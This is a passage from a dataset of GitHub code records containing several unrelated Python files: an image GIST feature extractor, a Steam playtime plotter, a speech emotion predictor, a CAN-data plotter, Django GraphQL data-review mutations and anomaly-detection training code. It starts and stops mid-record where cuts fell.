N[0]+1))))\n ny = list(map(int, np.floor(np.linspace(0, x.shape[1], N[1]+1))))\n y = np.zeros((N[0], N[1]))\n\n for xx in range(N[0]):\n for yy in range(N[1]):\n a = x[nx[xx]:nx[xx+1], ny[yy]:ny[yy+1]]\n v = np.mean(a)\n y[xx, yy] = v\n\n return y\n\n def gist_extract(self, img):\n \"\"\"\n Extract GIST features from the image.\n\n Parameters:\n - img: Input grayscale image.\n\n Returns:\n - GIST features.\n \"\"\"\n self._more_config(img) # Check and setup configurations\n img = self._preprocess(img) # Normalize the image\n output = self._prefilt(img) # Pre-filter the image\n gist = self._gistGabor(output) # Extract GIST features using Gabor filters\n\n return gist.ravel()\n","repo_name":"ukeles/VidFeatureXtract","sub_path":"vidfeats/basic_visual_features/pygist.py","file_name":"pygist.py","file_ext":"py","file_size_in_byte":5919,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"71"} +{"seq_id":"18829775850","text":"import json\nimport os\nimport logging\n\nimport matplotlib.pyplot as plt\n\nimport requests\nfrom dotenv import load_dotenv\n\nload_dotenv()\n\nFORMAT = \"%(asctime)s %(levelname)s %(message)s\"\nlogging.basicConfig(format=FORMAT, level=logging.INFO)\n_LOGGER = logging.getLogger(\"matplotlib-demo\")\n\nGET_OWNED_GAMES_URL = \"https://api.steampowered.com/IPlayerService/GetOwnedGames/v0001\"\nSTEAM_ID = os.environ.get(\"STEAM_ID\", None)\nSTEAM_WEB_API_KEY = os.environ.get(\"STEAM_WEB_API_KEY\", None)\n\n\ndef validate_data():\n if not STEAM_ID or not STEAM_WEB_API_KEY:\n _LOGGER.warning(\"STEAM_ID or STEAM_WEB_API_KEY IS EMPTY, exiting...\")\n exit(1)\n\n\ndef get_game_data():\n payload = {\n \"format\": \"json\",\n \"include_appinfo\": True,\n \"include_played_free_games\": True,\n \"key\": STEAM_WEB_API_KEY,\n \"steamid\": STEAM_ID,\n }\n response = requests.get(GET_OWNED_GAMES_URL, params=payload)\n if response.status_code != 200:\n _LOGGER.warning(\n f\"Failed to get game data, status code {response.status_code}, \"\n f\"exiting...\"\n )\n exit(1)\n\n try:\n data = response.json()\n except json.JSONDecodeError:\n _LOGGER.error(\"Error in decoding the response data\")\n exit(1)\n\n return data.get(\"response\", None)\n\n\ndef draw_game_data(game_data):\n if game_data is None:\n _LOGGER.error(\"Invalid game_data to draw\")\n\n x_axis, y_axis = [], []\n game_count = game_data.get(\"game_count\")\n # get games played more than GAME_TIME_MINUTE minutes\n GAME_TIME_MINUTE = 0\n games = [\n game\n for game in game_data.get(\"games\")\n if game.get(\"playtime_forever\", 0) >= GAME_TIME_MINUTE\n ]\n games.sort(key=lambda game: game.get(\"playtime_forever\", 0), reverse=True)\n for game in games:\n x_axis.append(game.get(\"name\"))\n y_axis.append(game.get(\"playtime_forever\") / 60)\n\n plt.bar(x_axis, y_axis)\n plt.title(f\"Total games played {game_count}\")\n plt.xlabel(\"Game name\", fontsize=14)\n plt.xticks(rotation=90)\n plt.ylabel(\"Play time in hours\")\n manager = plt.get_current_fig_manager()\n manager.full_screen_toggle()\n plt.subplots_adjust(bottom=0.3)\n plt.show()\n\n\ndef run():\n validate_data()\n game_data = get_game_data()\n draw_game_data(game_data)\n\n\nif __name__ == \"__main__\":\n run()\n","repo_name":"mintwzy/playground","sub_path":"python/matplotlib-demo/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":2350,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"71"} +{"seq_id":"70721839269","text":"import joblib\r\nimport numpy as np\r\nfrom sklearn.preprocessing import StandardScaler\r\nimport feature\r\nimport speech_recognition as sr\r\n\r\ndef predict(filename):\r\n fmodel_path = 'Emotion_Voice_Detection_Model.h5'\r\n result=[]\r\n xtr = joblib.load('X.train')\r\n scaler = StandardScaler()\r\n scaler.fit_transform(xtr)\r\n clf2 = joblib.load(fmodel_path)\r\n j=np.array(feature.extract(filename))\r\n k = np.expand_dims(j, axis=0)\r\n k = scaler.transform(k)\r\n result.append(clf2.predict(k)[0])\r\n\r\n r = sr.Recognizer()\r\n with sr.AudioFile(filename) as source:\r\n audio_data = r.record(source)\r\n try:\r\n text = r.recognize_google(audio_data)\r\n except sr.UnknownValueError: \r\n text=\"*I could not understand audio*\" \r\n result.append(text)\r\n print(result)\r\n","repo_name":"SpooderManEXE/Speech-Emotion-Recognition-using-MLP","sub_path":"emotion.py","file_name":"emotion.py","file_ext":"py","file_size_in_byte":823,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"71"} +{"seq_id":"17223636206","text":"# -*- coding: utf-8 -*-\n\"\"\"\ncanPlot is a program to visualize CAN data from a text file, which \nis produced by the program readDecodeCANFromFile.py\n\n\"\"\"\nimport numpy\nfrom matplotlib import rcParams\nimport matplotlib.pyplot as plt\n# load data\ndata = numpy.loadtxt(\"./resources/CANData.txt\",\n usecols=(0, 2,), delimiter=\",\")\n# odd rows represent rpm data\nrpm = data[::2]\n# even rows represent fuel consumption data\nfuelconsumption = data[1::2]\n\n\ndef plot_vehicle_data(data, x_label_text, y_label_text, title, save_path):\n \"\"\" plot_vehicle_data accepts 5 parameters and plots and saves the vehicle data as a pdf file.\n data: The vehicle data.\n x_label_text: The label on the x axis.\n y_label_text: The label on the y axis.\n title: The title of the plot.\n save_path: The path on which the pdf is saved.\n \"\"\"\n # setup plot and adjust configuration\n # DIN A5 size\n plt.figure(figsize=(8.27, 5.83))\n # math type font\n plt.matplotlib.rcParams[\"mathtext.fontset\"] = \"stix\"\n plt.matplotlib.rcParams[\"font.family\"] = \"STIXGeneral\"\n # outward-oriented axes ticks\n rcParams[\"xtick.direction\"] = \"out\"\n rcParams[\"ytick.direction\"] = \"out\"\n # more parameters\n params = {\n \"axes.labelsize\": 10,\n \"xtick.labelsize\": 10,\n \"ytick.labelsize\": 10,\n \"text.usetex\": False,\n }\n # commit parameters\n rcParams.update(params)\n # no frame\n plt.axes(frameon=0)\n # light grid\n plt.grid()\n # generate plot\n plt.plot(data[:, 0]-data[0, 0], data[:, 1],\n color=\"k\", linewidth=1, linestyle=\"-\")\n plt.xlabel(x_label_text)\n plt.ylabel(y_label_text)\n plt.title(title)\n plt.savefig(save_path, # This is simple recommendation for publication plots\n dpi=1000,\n # Plot will occupy a maximum of available space\n bbox_inches=\"tight\")\n\n\nplot_vehicle_data(fuelconsumption, \"Vergangene Zeit ab erster Messung [s]\",\n \"Verbrauchswert [l/h]\", \"Kraftstoffverbrauch\", \"./resources/Kraftstoffverbrauch.pdf\")\nplot_vehicle_data(rpm, \"Vergangene Zeit ab erster Messung [s]\",\n \"Drehzahl pro Minute\", \"Motordrehzahl\", \"./resources/RPM.pdf\")\n","repo_name":"jackyscript/telemetry-client","sub_path":"canbus/can_plot.py","file_name":"can_plot.py","file_ext":"py","file_size_in_byte":2216,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"71"} +{"seq_id":"36130088701","text":"from django_fsm import TransitionNotAllowed\nimport graphene\nfrom graphql import GraphQLError\nfrom graphql_relay import from_global_id\nfrom django.db import transaction\n\nfrom creator.data_reviews.nodes import DataReviewNode\nfrom creator.studies.models import Study\nfrom creator.files.models import Version\nfrom creator.data_reviews.models import DataReview, State\nfrom creator.ingest_runs.models import ValidationResultset\n\n\ndef check_review_files(input, data_review):\n \"\"\"\n Validate version ids in the create/update data review mutation input\n\n Convert base64 encoded Version ids to Version primary keys\n Check if file versions exist and they are from same study\n Check if input file versions are different than existing review versions\n\n :param input: input parameters from create/update data review mutation\n :type input: dict\n :param data_review: current data review object being created or updated\n :type data_review: DataReview\n\n :returns: list of version ids if version ids are valid or None if\n there are no version ids in the input or the input versions didn't change\n from the existing version ids in the data_review\n \"\"\"\n if \"versions\" not in input:\n return None\n\n input_version_ids = []\n for v in input[\"versions\"]:\n _, version_id = from_global_id(v)\n input_version_ids.append(version_id)\n\n # Check all versions exist\n versions = (\n Version.objects.filter(pk__in=input_version_ids)\n .select_related(\"root_file__study\")\n .all()\n )\n if len(versions) != len(input[\"versions\"]):\n raise GraphQLError(\n \"Error in modifying data_review. All file versions in data \"\n \"review must exist.\"\n )\n\n # Check all versions come from same study\n studies = set(\n [v.root_file.study.pk for v in versions] + [data_review.study.pk]\n )\n if len(studies) > 1:\n raise GraphQLError(\n \"Error in modifying data_review. All file versions in data \"\n \"review must have files that belong to the same study.\"\n )\n\n # Check if data review file versions changed\n if data_review:\n if set(data_review.versions.values_list(\"pk\", flat=True)) == set(\n input_version_ids\n ):\n input_version_ids = None\n\n return input_version_ids\n\n\nclass CreateDataReviewInput(graphene.InputObjectType):\n \"\"\" Parameters used when creating a new data_review \"\"\"\n\n name = graphene.String(\n required=True, description=\"The name of the data_review\"\n )\n description = graphene.String(\n required=True, description=\"The description of the data_review\"\n )\n study = graphene.ID(\n required=True,\n description=\"The ID of the study this data_review is for\",\n )\n versions = graphene.List(\n graphene.ID,\n description=\"File versions in this data_review\",\n )\n\n\nclass UpdateDataReviewInput(graphene.InputObjectType):\n \"\"\" Parameters used when updating an existing data_review \"\"\"\n\n name = graphene.String(description=\"The name of the data_review\")\n description = graphene.String(\n description=\"The description of the data_review\"\n )\n versions = graphene.List(\n graphene.ID,\n description=\"File versions in this data_review\",\n )\n\n\nclass CreateDataReviewMutation(graphene.Mutation):\n \"\"\" Creates a new data_review \"\"\"\n\n class Arguments:\n input = CreateDataReviewInput(\n required=True, description=\"Attributes for the new data_review\"\n )\n\n data_review = graphene.Field(DataReviewNode)\n\n def mutate(self, info, input):\n \"\"\"\n Creates a new data_review.\n \"\"\"\n user = info.context.user\n\n # Check if study exists\n _, study_id = from_global_id(input[\"study\"])\n try:\n study = Study.objects.get(pk=study_id)\n except Study.DoesNotExist:\n raise GraphQLError(f\"Study {study_id} not found.\")\n\n # Check permissions\n # Must have general add permission for any study OR\n # permission to add review to user's studies\n if not (\n user.has_perm(\"data_reviews.add_datareview\")\n or (\n user.has_perm(\"data_reviews.add_my_study_datareview\")\n and user.studies.filter(kf_id=study.kf_id).exists()\n )\n ):\n raise GraphQLError(\"Not allowed\")\n\n # Create data_review\n with transaction.atomic():\n data_review = DataReview(\n **{\n k: input[k]\n for k in input\n if k not in {\"study\", \"versions\"}\n }\n )\n data_review.study = study\n data_review.creator = user\n data_review.save()\n\n # Check files in review\n review_version_ids = check_review_files(input, data_review)\n\n # Review files are valid and they've changed\n if review_version_ids:\n # Update versions\n data_review.versions.set(review_version_ids)\n\n # Clear the data review's validation results if they exist\n try:\n data_review.validation_resultset.delete()\n except ValidationResultset.DoesNotExist:\n pass\n\n # Start review if we have files\n data_review.start()\n data_review.save()\n\n return CreateDataReviewMutation(data_review=data_review)\n\n\nclass UpdateDataReviewMutation(graphene.Mutation):\n \"\"\" Update an existing data_review \"\"\"\n\n class Arguments:\n id = graphene.ID(\n required=True, description=\"The ID of the data_review to update\"\n )\n input = UpdateDataReviewInput(\n required=True, description=\"Attributes for the data_review\"\n )\n\n data_review = graphene.Field(DataReviewNode)\n\n def mutate(self, info, id, input):\n \"\"\"\n Updates an existing data_review\n \"\"\"\n user = info.context.user\n\n model, node_id = from_global_id(id)\n try:\n data_review = DataReview.objects.get(pk=node_id)\n except DataReview.DoesNotExist:\n raise GraphQLError(\"DataReview was not found\")\n\n # Check permissions\n # Must have general change review permission for any study OR\n # permission to change review for user's studies\n if not (\n user.has_perm(\"data_reviews.change_datareview\")\n or (\n user.has_perm(\"data_reviews.change_my_study_datareview\")\n and user.studies.filter(kf_id=data_review.study.kf_id).exists()\n )\n ):\n raise GraphQLError(\"Not allowed\")\n\n # Closed/Completed reviews cannot be modified\n if data_review.state in {State.CLOSED, State.COMPLETED}:\n raise GraphQLError(\n \"Cannot modify a data review that has been closed or \"\n \"completed. However, a closed review can be re-opened and \"\n \"then modified.\"\n )\n\n # Update data_review\n with transaction.atomic():\n for attr in [\"name\", \"description\"]:\n if attr in input:\n setattr(data_review, attr, input[attr])\n\n # Check files in review\n review_version_ids = check_review_files(input, data_review)\n if review_version_ids is not None:\n # Start review if not started\n if data_review.state == State.NOT_STARTED:\n data_review.start()\n\n # We received updates while waiting, go back to reviewing state\n elif data_review.state == State.WAITING:\n data_review.receive_updates()\n\n data_review.versions.set(review_version_ids)\n data_review.save()\n\n return UpdateDataReviewMutation(data_review=data_review)\n\n\ndef mutate_state_helper(info, id, state_change_method_name):\n \"\"\"\n Helper for a take action review mutation (e.g. approve, close, reopen)\n Mutate data_review.state\n \"\"\"\n user = info.context.user\n\n data_review = None\n model, node_id = from_global_id(id)\n try:\n data_review = DataReview.objects.get(pk=node_id)\n except DataReview.DoesNotExist:\n raise GraphQLError(\"DataReview was not found\")\n\n # Check permissions\n # Must have general change review permission for any study OR\n # permission to change review for user's studies\n if not (\n user.has_perm(\"data_reviews.change_datareview\")\n or (\n user.has_perm(\"data_reviews.change_my_study_datareview\")\n and user.studies.filter(kf_id=data_review.study.kf_id).exists()\n )\n ):\n raise GraphQLError(\"Not allowed\")\n\n # Take review action - e.g. approve, close, reopen\n state_change_method = getattr(data_review, state_change_method_name)\n try:\n state_change_method()\n except TransitionNotAllowed:\n raise GraphQLError(\n f\"Cannot {state_change_method_name} data review when data review \"\n f\"is in state: {data_review.state}\"\n )\n\n data_review.save()\n\n return data_review\n\n\nclass AwaitDataReviewMutation(graphene.Mutation):\n \"\"\" Wait for updates for a data_review \"\"\"\n\n class Arguments:\n id = graphene.ID(\n required=True, description=\"The ID of the data_review\"\n )\n\n data_review = graphene.Field(DataReviewNode)\n\n def mutate(self, info, id):\n \"\"\"\n Update data_review state to State.WAITING\n \"\"\"\n data_review = mutate_state_helper(info, id, \"wait_for_updates\")\n return AwaitDataReviewMutation(data_review=data_review)\n\n\nclass ApproveDataReviewMutation(graphene.Mutation):\n \"\"\" Approve a data_review \"\"\"\n\n class Arguments:\n id = graphene.ID(\n required=True, description=\"The ID of the data_review to approve\"\n )\n\n data_review = graphene.Field(DataReviewNode)\n\n def mutate(self, info, id):\n \"\"\"\n Update data_review state to State.COMPLETE\n \"\"\"\n data_review = mutate_state_helper(info, id, \"approve\")\n return ApproveDataReviewMutation(data_review=data_review)\n\n\nclass CloseDataReviewMutation(graphene.Mutation):\n \"\"\" Close an incomplete data_review \"\"\"\n\n class Arguments:\n id = graphene.ID(\n required=True, description=\"The ID of the data_review to close\"\n )\n\n data_review = graphene.Field(DataReviewNode)\n\n def mutate(self, info, id):\n \"\"\"\n Update data_review state to State.CLOSED\n \"\"\"\n data_review = mutate_state_helper(info, id, \"close\")\n return CloseDataReviewMutation(data_review=data_review)\n\n\nclass ReopenDataReviewMutation(graphene.Mutation):\n \"\"\" Re-open a closed data_review \"\"\"\n\n class Arguments:\n id = graphene.ID(\n required=True, description=\"The ID of the data_review to re-open\"\n )\n\n data_review = graphene.Field(DataReviewNode)\n\n def mutate(self, info, id):\n \"\"\"\n Update data_review state to State.IN_REVIEW\n \"\"\"\n data_review = mutate_state_helper(info, id, \"reopen\")\n return ReopenDataReviewMutation(data_review=data_review)\n\n\nclass Mutation:\n \"\"\" Mutations for data_reviews \"\"\"\n\n create_data_review = CreateDataReviewMutation.Field(\n description=\"Create a new data_review.\"\n )\n update_data_review = UpdateDataReviewMutation.Field(\n description=\"Update a given data_review\"\n )\n await_data_review = AwaitDataReviewMutation.Field(\n description=\"Wait for updates for a data_review.\"\n )\n approve_data_review = ApproveDataReviewMutation.Field(\n description=\"Approve a data_review.\"\n )\n close_data_review = CloseDataReviewMutation.Field(\n description=\"Close an incomplete data_review.\"\n )\n reopen_data_review = ReopenDataReviewMutation.Field(\n description=\"Re-open a closed data_review.\"\n )\n","repo_name":"kids-first/kf-api-study-creator","sub_path":"creator/data_reviews/mutations.py","file_name":"mutations.py","file_ext":"py","file_size_in_byte":12025,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"71"} +{"seq_id":"75052272548","text":"\n\nimport sys\nimport torch.utils.data\nimport numpy as np\nimport torch\nfrom torch.utils.data import DataLoader\nimport torch.nn.functional as F\nfrom torch.backends import cudnn\nfrom wideresnet import MultiHeadWideResNet\nfrom data_class import MultitaskDataset\nfrom loss import *\nfrom sklearn.metrics import roc_auc_score, average_precision_score\nfrom sklearn.neighbors import KernelDensity\n\n\nfrom kmeans_strategy import init_centers, Kmeans_dist\nfrom scipy.spatial.distance import cdist\n\nimport logging\n\nimport math \n\ncudnn.benchmark = True\n\ndef tc_loss(zs, m):\n means = zs.mean(0).unsqueeze(0)\n res = ((zs.unsqueeze(2) - means.unsqueeze(1)) ** 2).sum(-1)\n pos = torch.diagonal(res, dim1=1, dim2=2)\n offset = torch.diagflat(torch.ones(zs.size(1))).unsqueeze(0).cuda() * 1e6\n neg = (res + offset).min(-1)[0]\n loss = torch.clamp(pos + m - neg, min=0).mean()\n return loss\n\n\ndef cosine_annealing(step, total_steps, lr_max, lr_min):\n return lr_min + (lr_max - lr_min) * 0.5 * (\n 1 + np.cos(step / total_steps * np.pi))\n\n\ndef hybrid1(scores,embs, K,lambda_=0.5):\n num_knn = int(np.ceil(scores.shape[0]/K))\n dist_matrix = torch.cdist(embs, embs, p=2)\n nearest_dist, _ = torch.topk(dist_matrix, num_knn, largest=False,\n sorted=False)\n nearest_dist = nearest_dist.cpu().numpy()\n anchor_dist = np.max(nearest_dist,1,keepdims=True)\n score_pos, _ = torch.topk(scores, int(scores.shape[0] * 0.1), largest=True,\n sorted=False)\n anchor_score = score_pos.min()\n boundary_score = torch.abs(scores - anchor_score).cpu().numpy()\n boundary_score = (boundary_score-boundary_score.min())/(boundary_score.max()-boundary_score.min())\n idx_ = np.argmin(boundary_score)\n idx_active = [idx_]\n embs = embs.cpu().numpy()\n for _ in range(K-1):\n score = 0.5+(anchor_dist>=cdist(embs,embs[idx_active],'euclidean')).sum(1)/(2*num_knn)\n score = score+boundary_score\n score[idx_active] = 1e3\n idx_ = np.argmin(score)\n idx_active.append(idx_)\n return torch.tensor(idx_active)\n\n\nclass TransClassifier():\n def __init__(self, total_num_trans, num_trans_list, args):\n self.n_trans = total_num_trans\n self.n_trans_list = num_trans_list\n self.n_heads = len(self.n_trans_list)\n\n self.ndf = 256\n\n self.args = args\n self.n_channels = 1\n if args.dataset == 'cifar10':\n self.n_channels = 3\n if args.dataset == 'blood':\n self.n_channels = 3\n\n self.netWRN = MultiHeadWideResNet(\n self.args.depth, num_trans_list, \n n_channels=self.n_channels, \n widen_factor=self.args.widen_factor,\n dropRate=0.3).cuda()\n self.optimizer = torch.optim.Adam(self.netWRN.parameters(),\n lr=self.args.lr)\n\n self.__oe_loss__ = self.args.oe_loss\n\n self.ori_batch_size = self.args.batch_size//self.n_trans\n self.m = self.args.m\n\n\n def set_additional_optimization_options(self):\n #////// Nesterov SGD optimizer //////\n if self.args.sgd_opt:\n self.optimizer = torch.optim.SGD(self.netWRN.parameters(),\n lr=self.args.lr,\n momentum=0.9,\n weight_decay=5e-4,\n nesterov=True)\n # ////////////////////////////////////\n\n if self.args.lr_decay:\n self.scheduler = torch.optim.lr_scheduler.LambdaLR(\n self.optimizer,\n lr_lambda=lambda step: cosine_annealing(\n step,\n self.args.epochs * len(list(range(0, len(x_train), self.args.batch_size))),\n 1, # since lr_lambda computes multiplicative factor\n 1e-6 / self.args.lr))\n\n if self.args.epoch_lr_decay:\n self.epoch_scheduler = torch.optim.lr_scheduler.StepLR(\n self.optimizer,\n step_size=10, gamma=0.1)\n\n\n def get_dataloaders(self, x_train, mt_train_labels, y_train, x_test, mt_test_labels, y_test):\n train_dataset = MultitaskDataset(x_train, mt_train_labels, y_train, self.n_trans)\n test_dataset = MultitaskDataset(x_test, mt_test_labels, y_test, self.n_trans, test=True)\n\n train_loader = DataLoader(train_dataset, batch_size=self.ori_batch_size, shuffle=True)\n test_loader = DataLoader(test_dataset, batch_size=self.ori_batch_size, shuffle=True)\n return train_loader, test_loader\n\n\n def set_loss_function(self):\n self.multihead_ce = MultiheadCrossEntropy(self.n_trans, ad_temp=self.args.ad_temp)\n self.multihead_ce_uniform = MultiheadCrossEntropyAgainstUniform(self.n_trans, ad_temp=self.args.ad_temp)\n self.multihead_ce_zerodriven = MultiheadCrossEntropyZeroDriven(self.n_trans, ad_temp=self.args.ad_temp)\n\n def set_anomaly_score_function(self):\n self.multihead_ce_score = MultiheadCrossEntropyAnomalyScore(self.n_trans, ad_temp=self.args.ad_temp)\n self.latent_gauss_score = LatentGaussianRepresentationAnomalyScore(self.n_trans, ad_temp=self.args.ad_temp)\n self.multihead_ce_uniform_score = MultiheadCrossEntropyAgainstUniformAnomalyScore(self.n_trans, ad_temp=self.args.ad_temp)\n\n def process_minibatch(self, mini_batch):\n mini_batch['id'] = mini_batch['id'].cuda()\n mini_batch['data'] = mini_batch['data'].view(-1, *mini_batch['data'].shape[2:]).float().cuda() # (10, 36, 3, 32, 32)\n mini_batch['gt_labels'] = mini_batch['gt_labels'].view(-1, *mini_batch['gt_labels'].shape[2:]).long().cuda() # \n mini_batch['mt_labels'] = mini_batch['mt_labels'].view(-1, *mini_batch['mt_labels'].shape[2:]).long().cuda() # (10, 36, 3)\n mini_batch['p_labels'] = mini_batch['p_labels'].view(-1, *mini_batch['p_labels'].shape[2:]).long().cuda() # (10, 36, 3)\n mini_batch['weights'] = mini_batch['weights'].view(-1, *mini_batch['weights'].shape[2:]).long().cuda() # (10, 36, 3)\n\n mini_batch['ori_minibatch_size'] = len(mini_batch['id'])\n mini_batch['minibatch_size'] = mini_batch['data'].shape[0]\n return mini_batch\n\n\n def train_init(self, train_loader):\n self.netWRN.train()\n total_loss = 0.0\n update_num = 1\n \n all_zs = []\n \n for mini_batch in train_loader:\n mini_batch = self.process_minibatch(mini_batch)\n xs = mini_batch['data'] # \n gt_labels = mini_batch['gt_labels'] # \n mt_labels = mini_batch['mt_labels'] # \n p_labels = mini_batch['p_labels']\n weights = mini_batch['weights']\n\n zs_tc, mt_zs_ce = self.netWRN(xs)\n\n all_zs.append(zs_tc)\n # all_zs[idx] = zs_tc\n zs = torch.reshape(zs_tc, (mini_batch['ori_minibatch_size'], self.n_trans, self.ndf))\n\n pos_loss = self.multihead_ce(mt_zs_ce, mt_labels)\n\n tc = tc_loss(zs, self.m)\n ce = pos_loss.mean()\n if self.args.reg:\n loss = ce + self.args.lmbda * tc + 10 *(zs*zs).mean()\n else:\n loss = ce + self.args.lmbda * tc\n\n total_loss += loss.item()\n \n self.optimizer.zero_grad()\n loss.backward()\n self.optimizer.step()\n\n return torch.cat(all_zs, 0)\n\n def train_one_epoch_sup(self, labeled_loader):\n self.netWRN.train()\n total_loss = 0.0\n update_num = 1\n\n all_zs = []\n\n for mini_batch in labeled_loader:\n mini_batch = self.process_minibatch(mini_batch)\n xs = mini_batch['data'] # \n gt_labels = mini_batch['gt_labels'] # \n mt_labels = mini_batch['mt_labels'] # \n p_labels = mini_batch['p_labels']\n weights = mini_batch['weights']\n\n zs_tc, mt_zs_ce = self.netWRN(xs)\n\n all_zs.append(zs_tc)\n # all_zs[idx] = zs_tc\n zs = torch.reshape(zs_tc, (mini_batch['ori_minibatch_size'], self.n_trans, self.ndf))\n\n pos_loss = self.multihead_ce(mt_zs_ce, mt_labels)\n \n if self.args.oe_method == 'zero_driven':\n neg_loss = self.multihead_ce_zerodriven(mt_zs_ce, mt_labels)\n elif self.args.oe_method == 'max_ent':\n neg_loss = self.multihead_ce_uniform(mt_zs_ce)\n else:\n raise NotImplementedError\n\n _loss = torch.cat([pos_loss[gt_labels==0], neg_loss[gt_labels==1]],0)\n\n tc = tc_loss(zs, self.m)\n ce = _loss.mean()\n\n loss = ce + self.args.lmbda * tc\n\n total_loss += loss.item()\n \n self.optimizer.zero_grad()\n loss.backward()\n self.optimizer.step()\n\n update_num += 1\n\n total_loss /= update_num\n print(\"Average training loss: \", total_loss)\n logging.info(f'Average training loss: {total_loss}')\n\n return torch.cat(all_zs, 0)\n\n\n def train_one_epoch(self, epoch, train_loader, labeled_loader, ratio=None):\n self.netWRN.train()\n total_loss = 0.0\n update_num = 1\n \n all_zs = []\n \n # if epoch == 0 or self.args.oe_loss != 'supervise':\n for mini_batch in train_loader:\n mini_batch = self.process_minibatch(mini_batch)\n xs = mini_batch['data'] # \n gt_labels = mini_batch['gt_labels'] # \n mt_labels = mini_batch['mt_labels'] # \n p_labels = mini_batch['p_labels']\n weights = mini_batch['weights']\n\n zs_tc, mt_zs_ce = self.netWRN(xs)\n\n all_zs.append(zs_tc)\n zs = torch.reshape(zs_tc, (mini_batch['ori_minibatch_size'], self.n_trans, self.ndf))\n\n pos_loss = self.multihead_ce(mt_zs_ce, mt_labels)\n\n if self.args.oe and ratio is not None:\n\n # rank against anomaly scores\n\n # ranking: training loss anomaly score \n if self.args.oe_rank == 'training_obj':\n logp_sz = self.multihead_ce_score(mt_zs_ce, mt_labels)\n\n # ranking: latent gaussian anomaly score \n elif self.args.oe_rank == 'latent_gauss':\n logp_sz = self.latent_gauss_score(zs)\n\n else:\n raise NotImplementedError\n\n neg_loss = self.multihead_ce_uniform_score(mt_zs_ce).detach()\n\n\n logp_sz -= neg_loss\n\n num_rej = int(math.ceil(logp_sz.shape[0] * ratio))\n\n loss_accept, idx_accept = torch.topk(logp_sz, logp_sz.shape[0] - num_rej, largest=False, sorted=False)\n loss_reject, idx_reject = torch.topk(logp_sz, num_rej, largest=True, sorted=False)\n\n idx_accept = (torch.arange(self.n_trans).to(xs).repeat(idx_accept.size()[0]) + idx_accept.repeat_interleave(self.n_trans)*self.n_trans).long()\n idx_reject = (torch.arange(self.n_trans).to(xs).repeat(idx_reject.size()[0]) + idx_reject.repeat_interleave(self.n_trans)*self.n_trans).long()\n \n\n if self.args.oe_method == 'zero_driven':\n neg_loss = self.multihead_ce_zerodriven(mt_zs_ce, mt_labels)\n\n\n elif self.args.oe_method == 'max_ent':\n neg_loss = self.multihead_ce_uniform(mt_zs_ce)\n \n\n else:\n raise NotImplementedError\n\n if self.args.oe_loss == 'weighted':\n _loss = torch.cat([pos_loss[idx_accept],(1-self.args.oe_weight)*pos_loss[idx_reject]+(self.args.oe_weight)*neg_loss[idx_reject]],0)\n elif self.args.oe_loss == 'radical':\n _loss = torch.cat([pos_loss[idx_accept], neg_loss[idx_reject]], 0)\n elif self.args.oe_loss == 'refine':\n _loss = pos_loss[idx_accept]\n elif self.args.oe_loss == 'known_gt':\n _loss = torch.cat([pos_loss[gt_labels==0], neg_loss[gt_labels==1]],0)\n else:\n raise NotImplementedError\n else:\n _loss = pos_loss\n\n tc = tc_loss(zs, self.m)\n ce = _loss.mean()\n if self.args.reg:\n loss = ce + self.args.lmbda * tc + 10 *(zs*zs).mean()\n else:\n loss = ce + self.args.lmbda * tc\n\n total_loss += loss.item()\n \n self.optimizer.zero_grad()\n loss.backward()\n self.optimizer.step()\n\n\n if labeled_loader is not None:\n mini_batch = next(iter(labeled_loader))\n mini_batch = self.process_minibatch(mini_batch)\n xs = mini_batch['data'] # \n gt_labels = mini_batch['gt_labels'] # \n mt_labels = mini_batch['mt_labels'] # \n p_labels = mini_batch['p_labels']\n weights = mini_batch['weights']\n\n zs_tc, mt_zs_ce = self.netWRN(xs)\n\n # all_zs.append(zs_tc)\n # all_zs[idx] = zs_tc\n zs = torch.reshape(zs_tc, (mini_batch['ori_minibatch_size'], self.n_trans, self.ndf))\n\n pos_loss = self.multihead_ce(mt_zs_ce, mt_labels)\n \n if self.args.oe_method == 'zero_driven':\n neg_loss = self.multihead_ce_zerodriven(mt_zs_ce, mt_labels)\n elif self.args.oe_method == 'max_ent':\n neg_loss = self.multihead_ce_uniform(mt_zs_ce)\n else:\n raise NotImplementedError\n\n _loss = torch.cat([pos_loss[gt_labels==0], neg_loss[gt_labels==1]],0)\n\n tc = tc_loss(zs, self.m)\n ce = _loss.mean()\n\n loss = ce + self.args.lmbda * tc\n\n total_loss += loss.item()\n \n self.optimizer.zero_grad()\n loss.backward()\n self.optimizer.step()\n\n\n if self.args.lr_decay:\n self.scheduler.step()\n\n update_num += 1\n\n\n if labeled_loader is not None:\n for mini_batch in labeled_loader:\n mini_batch = self.process_minibatch(mini_batch)\n xs = mini_batch['data'] # \n gt_labels = mini_batch['gt_labels'] # \n mt_labels = mini_batch['mt_labels'] # \n p_labels = mini_batch['p_labels']\n weights = mini_batch['weights']\n\n zs_tc, mt_zs_ce = self.netWRN(xs)\n\n all_zs.append(zs_tc)\n\n total_loss /= update_num\n print(\"Average training loss: \", total_loss)\n logging.info(f'Average training loss: {total_loss}')\n\n return torch.cat(all_zs, 0)\n\n\n\n def evaluation(self, epoch, test_loader, means):\n self.netWRN.eval()\n\n # evaluation\n print(\"## Training Objective Anomaly Score\")\n logging.info(\"## Training Objective Anomaly Score\")\n # make the training objective equivalent to anomaly score\n val_loss = 0.0\n val_update_num = 0\n true_label = []\n pred = []\n with torch.no_grad():\n\n for mini_batch in test_loader:\n mini_batch = self.process_minibatch(mini_batch)\n xs = mini_batch['data'] # \n gt_labels = mini_batch['gt_labels'] # \n mt_labels = mini_batch['mt_labels'] # \n\n\n # anomaly score\n zs_tc, mt_zs_ce = self.netWRN(xs)\n\n val_probs = self.multihead_ce_score(mt_zs_ce, mt_labels)\n\n\n true_label += list(gt_labels.cpu().data.numpy())\n pred += list(val_probs.cpu().data.numpy())\n\n\n # validation loss\n ce = self.multihead_ce(mt_zs_ce, mt_labels)\n\n\n zs = torch.reshape(zs_tc, (mini_batch['ori_minibatch_size'], self.n_trans, self.ndf))\n # zs = torch.reshape(zs_tc, (batch_range // n_rots, n_rots, ndf))\n tc = tc_loss(zs, self.m)\n\n if self.args.reg:\n _val_loss = ce + self.args.lmbda * tc + 10 